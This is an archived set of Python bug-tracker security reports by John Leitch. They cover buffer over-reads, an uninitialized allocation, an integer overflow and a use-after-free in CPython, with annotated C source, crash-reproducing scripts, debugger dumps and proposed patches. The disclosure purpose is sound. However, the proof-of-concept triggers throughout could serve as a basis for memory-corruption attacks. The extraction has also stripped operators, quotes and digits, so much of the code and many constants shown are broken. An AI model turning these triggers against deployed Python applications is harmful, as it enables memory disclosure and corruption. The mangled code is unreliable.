In some applications, it may be possible to exploit this behavior to disclose
the contents of adjacent memory. The buffer over-read can be observed by
running the following script:
from time import *
strftime(AA%*0x1)
Which, depending on the arrangement of memory, may produce an exception such as
this:
0:000 g
(20b8.18d4): Access violation - code c005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax= ebx=52c1a6a0 ecx= edx=08ef3000 esi=08ec2fe8 edi=08ec2ff8
eip=52d254f3 esp=004cf9d4 ebp=004cfa58 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
python35!strchr+0x33:
52d254f3 f30f6f0amovdqu xmm1,xmmword ptr [edx]
ds:002b:08ef3000=
0:000 db edx-0x10
08ef2ff0 41 25 41 41 25 41 41 25-00 d0 d0 d0 d0 d0 d0 d0 A%AA%AA%
08ef3000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
08ef3010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
08ef3020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
08ef3030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
08ef3040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
08ef3050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
08ef3060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
0:000 k5
ChildEBP RetAddr
004cf9d0 52c1a7f6 python35!strchr+0x33
[f:\dd\vctools\crt\vcruntime\src\string\i386\strchr_sse.inc @ 75]
004cfa58 52c832d3 python35!time_strftime+0x156
[c:\build\cpython\modules\timemodule.c @ 615]
004cfa74 52ce442f python35!PyCFunction_Call+0x113
[c:\build\cpython\objects\methodobject.c @ 109]
004cfaa8 52ce18ec python35!call_function+0x2ff [c:\build\cpython\python\ceval.c
@ 4651]
004cfb20 52ce339f python35!PyEval_EvalFrameEx+0x232c
[c:\build\cpython\python\ceval.c @ 3184]
To fix this issue, it is recommended that time_strftime() be updated to check
outputbuf[1] for null in the body of the format string directive validation
loop. A proposed patch is attached.
Credit: John Leitch (johnlei...@outlook.com), Bryce Darling
(darlingbr...@gmail.com)
--
files: time_strftime_Buffer_Over-read.patch
keywords: patch
messages: 248998
nosy: JohnLeitch
priority: normal
severity: normal
status: open
title: time_strftime() Buffer Over-read
type: security
versions: Python 3.5
Added file:
http://bugs.python.org/file40228/time_strftime_Buffer_Over-read.patch
___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24917
___
___
Python-bugs-list mailing list
Unsubscribe:
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24913] newblock() Uninitialized Variable
New submission from John Leitch:
Python 3.5 suffers from a vulnerability caused by the behavior of the
newblock() function used by the collections.deque module. When called,
newblock() allocates memory using PyMem_Malloc() and does not initialize it:
static block *
newblock(Py_ssize_t len) {
block *b;
if (len = MAX_DEQUE_LEN) {
PyErr_SetString(PyExc_OverflowError,
cannot add more blocks to the deque);
return NULL;
}
if (numfreeblocks) {
numfreeblocks--;
return freeblocks[numfreeblocks];
}
b = PyMem_Malloc(sizeof(block)); Memory allocation.
if (b != NULL) {
return b; Buffer returned without initialization.
}
PyErr_NoMemory();
return NULL;
}
Because PyMem_Malloc does not initialize the memory, the block may contain
garbage data. In some cases, this can lead to memory corruption which could be
exploitable to achieve code execution. The following exception analysis is an
example of EIP corruption:
***
* *
*Exception Analysis *
* *
***
*** The OS name list needs to be updated! Unknown Windows version: 10.0 ***
FAULTING_IP:
python35!PyUnicode_Type+0
696f60d8 a800testal,0
EXCEPTION_RECORD: -- (.exr 0x)
ExceptionAddress: 696f60d8 (python35!PyUnicode_Type)
ExceptionCode: c005 (Access violation)
ExceptionFlags:
NumberParameters: 2
Parameter[0]: 0008
Parameter[1]: 696f60d8
Attempt to execute non-executable address 696f60d8
CONTEXT: -- (.cxr 0x0;r)
eax=696f60d8 ebx=0002 ecx=00d9492c edx=0002 esi=019b4e58 edi=0337b970
eip=696f60d8 esp=00bcf7dc ebp=00bcf7fc iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
python35!PyUnicode_Type:
696f60d8 a800testal,0
PROCESS_NAME: pythonw.exe
ERROR_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%p referenced memory
at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 0008
EXCEPTION_PARAMETER2: 696f60d8
WRITE_ADDRESS: 696f60d8
FOLLOWUP_IP:
python35!PyUnicode_Type+0
696f60d8 a800testal,0
FAILED_INSTRUCTION_ADDRESS:
python35!PyUnicode_Type+0
696f60d8 a800testal,0
APP: pythonw.exe
ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre
FAULTING_THREAD: 09dc
DEFAULT_BUCKET_ID: SOFTWARE_NX_FAULT_CODE
PRIMARY_PROBLEM_CLASS: SOFTWARE_NX_FAULT_CODE
BUGCHECK_STR:
APPLICATION_FAULT_SOFTWARE_NX_FAULT_CODE_SOFTWARE_NX_FAULT_FALSE_POSITIVE
LAST_CONTROL_TRANSFER: from 69505ad3 to 696f60d8
STACK_TEXT:
00bcf7fc 69505ad3 0002 00bcf840 694253fc python35!PyUnicode_Type
00bcf808 694253fc 0337b970 019b4e58 0002 python35!PyObject_RichCompare+0x53
00bcf840 695031c3 03a1a8f0 03a21878 00f83340 python35!deque_index+0xac
00bcf85c 69564433 03a21120 03a21878 python35!PyCFunction_Call+0x113
00bcf890 695618d8 00e23a08 0040 python35!call_function+0x303
00bcf908 6956339f 00e23a08 00f83000 python35!PyEval_EvalFrameEx+0x2318
00bcf954 6959a142 00e40f58
python35!_PyEval_EvalCodeWithName+0x82f
00bcf990 69599fd5 00e40f58 00e40f58 00bcfa5c python35!run_mod+0x42
00bcf9bc 6959904a 00f801f0 00e366f0 0101 python35!PyRun_FileExFlags+0x85
00bcfa00 6946f037 00f801f0 00e366f0 0001
python35!PyRun_SimpleFileExFlags+0x20a
00bcfa2c 6946f973 00bcfa5c 6ecb2100 python35!run_file+0xe7
00bcfad4 1ce31279 0002 00f79eb0 1ce3c588 python35!Py_Main+0x913
00bcfae4 1ce3145f 1ce3 00f71c68 pythonw!wWinMain+0x19
00bcfb30 74ed3744 7f174000 74ed3720 5c8b59d2 pythonw!__scrt_common_main_seh+0xfd
00bcfb44 775aa064 7f174000 a81800d2 kernel32!BaseThreadInitThunk+0x24
00bcfb8c 775aa02f 775cd7c3 ntdll!__RtlUserThreadStart+0x2f
00bcfb9c 1ce3150a 7f174000 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND: ~0s; .ecxr ; kb
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: python35!PyUnicode_Type+0
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: python35
IMAGE_NAME: python35.dll
DEBUG_FLR_IMAGE_TIMESTAMP: 5598ccc2
FAILURE_BUCKET_ID: SOFTWARE_NX_FAULT_CODE_c005_python35.dll!PyUnicode_Type
BUCKET_ID:
APPLICATION_FAULT_SOFTWARE_NX_FAULT_CODE_SOFTWARE_NX_FAULT_FALSE_POSITIVE_BAD_IP_python35!PyUnicode_Type+0
ANALYSIS_SOURCE: UM
FAILURE_ID_HASH_STRING:
um:software_nx_fault_code_c005_python35.dll!pyunicode_type
FAILURE_ID_HASH: {aa94d074-8f9b-b618-df4f-eaad15f84370}
Followup
[issue24913] newblock() Uninitialized Variable
Changes by John Leitch john.leit...@gmail.com: Added file: http://bugs.python.org/file40225/newblock_Uninitialized_variable.py ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24913 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24802] PyFloat_FromString Buffer Over-read
New submission from John Leitch:
Python suffers from a buffer over-read in PyFloat_FromString() that is caused
by the incorrect assumption that buffers returned by PyObject_GetBuffer() are
null-terminated. This could potentially result in the disclosure of adjacent
memory.
PyObject *
PyFloat_FromString(PyObject *v)
{
const char *s, *last, *end;
double x;
PyObject *s_buffer = NULL;
Py_ssize_t len;
Py_buffer view = {NULL, NULL};
PyObject *result = NULL;
if (PyUnicode_Check(v)) {
s_buffer = _PyUnicode_TransformDecimalAndSpaceToASCII(v);
if (s_buffer == NULL)
return NULL;
s = PyUnicode_AsUTF8AndSize(s_buffer, len);
if (s == NULL) {
Py_DECREF(s_buffer);
return NULL;
}
}
else if (PyObject_GetBuffer(v, view, PyBUF_SIMPLE) == 0) {
s = (const char *)view.buf; The unterminated buffer is retrieved
here.
len = view.len;
}
else {
PyErr_Format(PyExc_TypeError,
float() argument must be a string or a number, not '%.200s',
Py_TYPE(v)-tp_name);
return NULL;
}
last = s + len;
/* strip space */
while (s last Py_ISSPACE(*s))
s++;
while (s last - 1 Py_ISSPACE(last[-1]))
last--;
/* We don't care about overflow or underflow. If the platform
* supports them, infinities and signed zeroes (on underflow) are
* fine. */
x = PyOS_string_to_double(s, (char **)end, NULL); The buffer is then
passed
along here.
if (end != last) {
PyErr_Format(PyExc_ValueError,
could not convert string to float:
%R, v);
result = NULL;
}
else if (x == -1.0 PyErr_Occurred())
result = NULL;
else
result = PyFloat_FromDouble(x);
PyBuffer_Release(view);
Py_XDECREF(s_buffer);
return result;
}
double
PyOS_string_to_double(const char *s,
char **endptr,
PyObject *overflow_exception)
{
double x, result=-1.0;
char *fail_pos;
errno = 0;
PyFPE_START_PROTECT(PyOS_string_to_double, return -1.0)
x = _PyOS_ascii_strtod(s, fail_pos);
PyFPE_END_PROTECT(x)
if (errno == ENOMEM) {
PyErr_NoMemory();
fail_pos = (char *)s;
}
else if (!endptr (fail_pos == s || *fail_pos != '\0'))
PyErr_Format(PyExc_ValueError, If any of these error paths are
taken, the
unterminated buffer is passed along
without
its length, ultimately resulting in
a call
to unicode_fromformat_write_cstr().
could not convert string to float:
%.200s, s);
else if (fail_pos == s)
PyErr_Format(PyExc_ValueError,
could not convert string to float:
%.200s, s);
else if (errno == ERANGE fabs(x) = 1.0 overflow_exception)
PyErr_Format(overflow_exception,
value too large to convert to float:
%.200s, s);
else
result = x;
if (endptr != NULL)
*endptr = fail_pos;
return result;
}
static int
unicode_fromformat_write_cstr(_PyUnicodeWriter *writer, const char *str,
Py_ssize_t width, Py_ssize_t precision)
{
/* UTF-8 */
Py_ssize_t length;
PyObject *unicode;
int res;
length = strlen(str); str points to the unterminated buffer, which
means
strlen() my read off the end, depending on the
contents
of adjacent memory.
if (precision != -1)
length = Py_MIN(length, precision);
unicode = PyUnicode_DecodeUTF8Stateful(str, length, replace, NULL);
The new,
incorrect
length is
passed
along.
if (unicode == NULL)
return -1;
res = unicode_fromformat_write_str(writer, unicode, width, -1);
Py_DECREF(unicode);
return res;
}
A script that reproduces the issue is as follows:
import array
float(array.array(B,bA*0x10))
And it produces the following exception:
0:000 gu
eax= ebx=06116b00 ecx= edx= esi=06116b00 edi=
eip=6516be1b esp=0080f440 ebp=0080f4f4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=0246
python35!PyFloat_FromString+0xab:
6516be1b 8b4c2454mov ecx,dword ptr [esp+54h]
ss:002b:0080f494=090a2fe8
0:000 db @@(view.buf)
090a2fe8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
[issue24802] PyFloat_FromString Buffer Over-read
John Leitch added the comment: Attaching repro -- Added file: http://bugs.python.org/file40133/PyFloat_FromString_Buffer_Over-read.py ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24802 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24803] PyNumber_Long Buffer Over-read.patch
New submission from John Leitch:
Python suffers from a buffer over-read in PyNumber_Long() that is caused by the
incorrect assumption that buffers returned by PyObject_GetBuffer() are
null-terminated. This could potentially result in the disclosure of adjacent
memory.
PyObject *
PyNumber_Long(PyObject *o)
{
[...]
if (PyObject_GetBuffer(o, view, PyBUF_SIMPLE) == 0) { The
unterminated buffer
is retreived
here.
/* need to do extra error checking that PyLong_FromString()
* doesn't do. In particular int('9\x005') must raise an
* exception, not truncate at the null.
*/
PyObject *result = _PyLong_FromBytes(view.buf, view.len, 10); The
buffer
is then passed to
_PyLong_FromBytes(),
which ultimately passes it to
PyLong_FromString().
PyBuffer_Release(view);
return result;
}
return type_error(int() argument must be a string, a bytes-like object
or a number, not '%.200s', o);
}
PyObject *
PyLong_FromString(const char *str, char **pend, int base)
{
int sign = 1, error_if_nonzero = 0;
const char *start, *orig_str = str;
PyLongObject *z = NULL;
PyObject *strobj;
Py_ssize_t slen;
[...]
onError:
if (pend != NULL)
*pend = (char *)str;
Py_XDECREF(z);
slen = strlen(orig_str) 200 ? strlen(orig_str) : 200; If this path
is taken,
orig_str is pointing to
the
unterminated string,
resulting in
strlen reading off the end of the
buffer.
strobj = PyUnicode_FromStringAndSize(orig_str, slen); The incorrect
length is
then used to
create a Python
string.
if (strobj == NULL)
return NULL;
PyErr_Format(PyExc_ValueError,
invalid literal for int() with base %d: %.200R,
base, strobj);
Py_DECREF(strobj);
return NULL;
}
A script that reproduces the issue is as follows:
import array
int(array.array(B,bA*0x10))
And it produces the following exception:
0:000 p
eax= ebx=5dbc4699 ecx= edx= esi=07ad6b00 edi=
eip=5da07f7e esp=00e4f8f8 ebp=00e4f934 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=0246
python35!PyNumber_Long+0x20e:
5da07f7e 6a0apush0Ah
0:000 db @@(view.buf)
096fefe8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
096feff8 c0 c0 c0 c0 d0 d0 d0 d0-?? ?? ?? ?? ?? ?? ?? ??
096ff008 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
096ff018 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
096ff028 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
096ff038 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
096ff048 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
096ff058 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
0:000 g
Breakpoint 3 hit
eax=07aed7b0 ebx=000a ecx=07aed7a0 edx=07aed000 esi=096fefe8 edi=096fefe8
eip=5da3a55e esp=00e4f870 ebp=00e4f8c4 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=0212
python35!PyLong_FromString+0x4ce:
5da3a55e 8b74244cmov esi,dword ptr [esp+4Ch]
ss:002b:00e4f8bc=096fefe8
0:000 g
(648.e5c): Access violation - code c005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07aed7d0 ebx=000a ecx=096ff000 edx=096fefe9 esi=096fefe8 edi=096fefe8
eip=5da3a567 esp=00e4f870 ebp=00e4f8c4 iopl=0 nv up ei ng nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010282
python35!PyLong_FromString+0x4d7:
5da3a567 8a01mov al,byte ptr [ecx] ds:002b:096ff000=??
0:000 db ecx-0x10
096feff0 41 41 41 41 41 41 41 41-c0 c0 c0 c0 d0 d0 d0 d0
096ff000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
096ff010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
096ff020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
096ff030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
096ff040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
096ff050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
096ff060
[issue24613] array.fromstring Use After Free
John Leitch added the comment: Attached is a patch that updates array.fromstring to throw a ValueError when self is passed. It also updates the unit tests to cover this new behavior. -- Added file: http://bugs.python.org/file40023/array.fromstring-Use-After-Free.patch ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24613 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24613] array.fromstring Use After Free
John Leitch added the comment: I understand the desire for consistency and I will create such a patch when I get some slack space (hopefully tonight), but I believe it will constitute a breaking change; in 2.7, passing self to array.fromstring works as expected most of the time. -- ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24613 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24708] strop.replace Integer Overflow
New submission from John Leitch:
The Python strop.replace() method suffers from an integer overflow that can be
exploited to write outside the bounds of the string buffer and potentially
achieve code execution. The issue can be triggered by performing a large
substitution that overflows the arithmetic used in mymemreplace() to calculate
the size of the new string:
static char *
mymemreplace(const char *str, Py_ssize_t len, /* input string */
const char *pat, Py_ssize_t pat_len, /* pattern string to
find */
const char *sub, Py_ssize_t sub_len, /* substitution string
*/
Py_ssize_t count, /* number of
replacements */
Py_ssize_t *out_len)
{
[...]
new_len = len + nfound*(sub_len - pat_len); Unchecked arithmetic can
overflow here.
if (new_len == 0) {
/* Have to allocate something for the caller to free(). */
out_s = (char *)PyMem_MALLOC(1);
if (out_s == NULL)
return NULL;
out_s[0] = '\0';
}
else {
assert(new_len 0);
new_s = (char *)PyMem_MALLOC(new_len); An allocation is performed
using overflowed value.
if (new_s == NULL)
return NULL;
out_s = new_s;
for (; count 0 len 0; --count) { Memory is copied to new_s
using len, which can be greater than the overflowed new_len value.
/* find index of next instance of pattern */
offset = mymemfind(str, len, pat, pat_len);
if (offset == -1)
break;
/* copy non matching part of input string */
memcpy(new_s, str, offset);
str += offset + pat_len;
len -= offset + pat_len;
/* copy substitute into the output string */
new_s += offset;
memcpy(new_s, sub, sub_len);
new_s += sub_len;
}
/* copy any remaining values into output string */
if (len 0)
memcpy(new_s, str, len);
}
[...]
}
The following script demonstrates the issue:
import strop
strop.replace(\x75*0xEAAA,\x75,AA*0x)
When run under a debugger, it produces the following exception:
0:000 r
eax=01e4cfd0 ebx=5708fc94 ecx=3c7a edx= esi=01e3dde8 edi=57096000
eip=7026ae7a esp=0027fc98 ebp=0027fca0 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216
MSVCR90!memcpy+0x5a:
7026ae7a f3a5rep movs dword ptr es:[edi],dword ptr [esi]
0:000 db edi-0x10
57095ff0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
57096000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
57096010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
57096020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
57096030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
57096040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
57096050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
57096060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
0:000 db esi
01e3dde8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
01e3ddf8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
01e3de08 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
01e3de18 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
01e3de28 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
01e3de38 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
01e3de48 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
01e3de58 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
0:000 k
ChildEBP RetAddr
0027fca0 1e056efc MSVCR90!memcpy+0x5a
[f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 188]
0027fcd0 1e05700b python27!mymemreplace+0xfc
[c:\build27\cpython\modules\stropmodule.c @ 1139]
0027fd18 1e0aaed7 python27!strop_replace+0xbb
[c:\build27\cpython\modules\stropmodule.c @ 1185]
0027fd30 1e0edcc0 python27!PyCFunction_Call+0x47
[c:\build27\cpython\objects\methodobject.c @ 81]
0027fd5c 1e0f012a python27!call_function+0x2b0
[c:\build27\cpython\python\ceval.c @ 4035]
0027fdcc 1e0f1100 python27!PyEval_EvalFrameEx+0x239a
[c:\build27\cpython\python\ceval.c @ 2684]
0027fe00 1e0f1162 python27!PyEval_EvalCodeEx+0x690
[c:\build27\cpython\python\ceval.c @ 3267]
0027fe2c 1e1170ca python27!PyEval_EvalCode+0x22
[c:\build27\cpython\python\ceval.c @ 674]
0027fe44 1e118215 python27!run_mod+0x2a [c:\build27\cpython\python\pythonrun.c
@ 1371]
0027fe64 1e1187b0 python27!PyRun_FileExFlags+0x75
[c:\build27\cpython\python\pythonrun.c @ 1358]
0027fea4 1e119129 python27!PyRun_SimpleFileExFlags+0x190
[c:\build27\cpython\python\pythonrun.c @ 950]
0027fec0 1e038cb5 python27!PyRun_AnyFileExFlags+0x59
[c:\build27\cpython\python\pythonrun.c @ 753
[issue24708] strop.replace Integer Overflow
John Leitch added the comment: Attaching repro. -- Added file: http://bugs.python.org/file40007/strop.replace_Integer_Overflow.py ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24708 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24613] array.fromstring Use After Free
John Leitch added the comment: To clarify one point, passing self to array.fromstring works as expected almost all the time in 2.7. My testing revealed anomalous behavior 1% of the time, and it was almost always non-fatal corruption of the buffer. It stands to reason that legacy code may exist that relies on similar operations, and such code would be broken by the requested change. -- ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24613 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24708] strop.replace Integer Overflow
John Leitch added the comment: Oops. Here's a corrected patch. -- Added file: http://bugs.python.org/file40009/strop.replace_Integer_Overflow.patch ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24708 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24708] strop.replace Integer Overflow
Changes by John Leitch john.leit...@gmail.com: Removed file: http://bugs.python.org/file40006/strop.replace_Integer_Overflow.patch ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24708 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24613] array.fromstring Use After Free
John Leitch added the comment: Attaching patch. -- keywords: +patch Added file: http://bugs.python.org/file39900/arraymodule.c.patch ___ Python tracker rep...@bugs.python.org http://bugs.python.org/issue24613 ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24613] array.fromstring Use After Free
New submission from John Leitch:
The Python array.fromstring() method suffers from a use after free caused by
unsafe realloc use. The issue is triggered when an array is concatenated to
itself via fromstring() call:
static PyObject *
array_fromstring(arrayobject *self, PyObject *args)
{
char *str;
Py_ssize_t n;
int itemsize = self-ob_descr-itemsize;
if (!PyArg_ParseTuple(args, s#:fromstring, str, n)) The str buffer
is parsed from args. In cases where an array is passed to itself, self-ob_item
== str.
return NULL;
if (n % itemsize != 0) {
PyErr_SetString(PyExc_ValueError,
string length not a multiple of item size);
return NULL;
}
n = n / itemsize;
if (n 0) {
char *item = self-ob_item; If str == self-ob_item, item == str.
if ((n PY_SSIZE_T_MAX - Py_SIZE(self)) ||
((Py_SIZE(self) + n) PY_SSIZE_T_MAX / itemsize)) {
return PyErr_NoMemory();
}
PyMem_RESIZE(item, char, (Py_SIZE(self) + n) * itemsize); A
realloc call occurs here with item passed as the ptr argument. Because realloc
sometimes calls free(), this means that item may be freed. If item was equal to
str, str is now pointing to freed memory.
if (item == NULL) {
PyErr_NoMemory();
return NULL;
}
self-ob_item = item;
Py_SIZE(self) += n;
self-allocated = Py_SIZE(self);
memcpy(item + (Py_SIZE(self) - n) * itemsize,
str, itemsize*n); If str is dangling at this point, a use
after free occurs here.
}
Py_INCREF(Py_None);
return Py_None;
}
In most cases when this occurs, the function behaves as expected; while the
dangling str pointer is technically pointing to deallocated memory, given the
timing it is highly likely the memory contains the expected data. However,
ocassionally, an errant allocation will occur between the realloc and memcpy,
leading to unexpected contents in the str buffer.
In applications that expose otherwise innocuous indirect object control of
arrays as attack surface, it may be possible for an attacker to trigger the
corruption of arrays. This could potentially be exploited to exfiltrate data or
achieve privilege escalation, depending on subsequent operations performed
using corrupted arrays.
A proof-of-concept follows:
import array
import sys
import random
testNumber = 0
def dump(value):
global testNumber
i = 0
for x in value:
y = ord(x)
if (y != 0x41):
end = ''.join(value[i:]).index('A' * 0x10)
sys.stdout.write(%08x a[%08x]: % (testNumber, i))
for z in value[i:i+end]:
sys.stdout.write(hex(ord(z))[2:])
sys.stdout.write('\r\n')
break
i += 1
def copyArray():
global testNumber
while True:
a=array.array(c,'A'*random.randint(0x0, 0x1))
a.fromstring(a)
dump(a)
testNumber += 1
print Starting...
copyArray()
The script repeatedly creates randomly sized arrays filled with 0x41, then
calls fromstring() and checks the array for corruption. If any is found, the
relevant bytes are written to the console as hex. The output should look
something like this:
Starting...
0007 a[0cdc]: c8684d0b0f54c0
001d a[f84d]: b03f4f0b8be620
0027 a[119f]: 50724d0b0f54c0
004c a[0e53]: b86b4d0b0f54c0
005a a[01e1]: d8ab4609040620
0090 a[015b]: 9040620104e5f0
014d a[02d6]: 10ec620d8ab460
0153 a[00f7]: 9040620104e5f0
023c a[0186]: 50d34c0f8b65a0
0279 a[01c3]: d8ab4609040620
02ee a[0133]: 9040620104e5f0
02ff a[0154]: 9040620104e5f0
030f a[0278]: 10ec620d8ab460
0368 a[0181]: 50d34c0f8b65a0
03b2 a[005a]: d0de5f0d05e5f0
03b5 a[021c]: b854d00d3620
0431 a[01d8]: d8ab4609040620
044b a[02db]: 10ec620d8ab460
0461 a[00de]: 9040620104e5f0
04fb a[232f]: 10f74d0c0ce620
0510 a[014a]: 9040620104e5f0
In some applications, such as those that are web-based, similar circumstances
may manifest that would allow for remote exploitation.
To fix the issue, array_fromstring should check if self-ob_item is pointing to
the same memory as str, and handle the copy accordingly. A proposed patch is
attached.
--
files: array.fromstring-Use-After-Free.py
messages: 246621
nosy: JohnLeitch
priority: normal
severity: normal
status: open
title: array.fromstring Use After Free
type: security
versions: Python 2.7
Added file: http://bugs.python.org/file39899/array.fromstring-Use-After-Free.py
___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24613
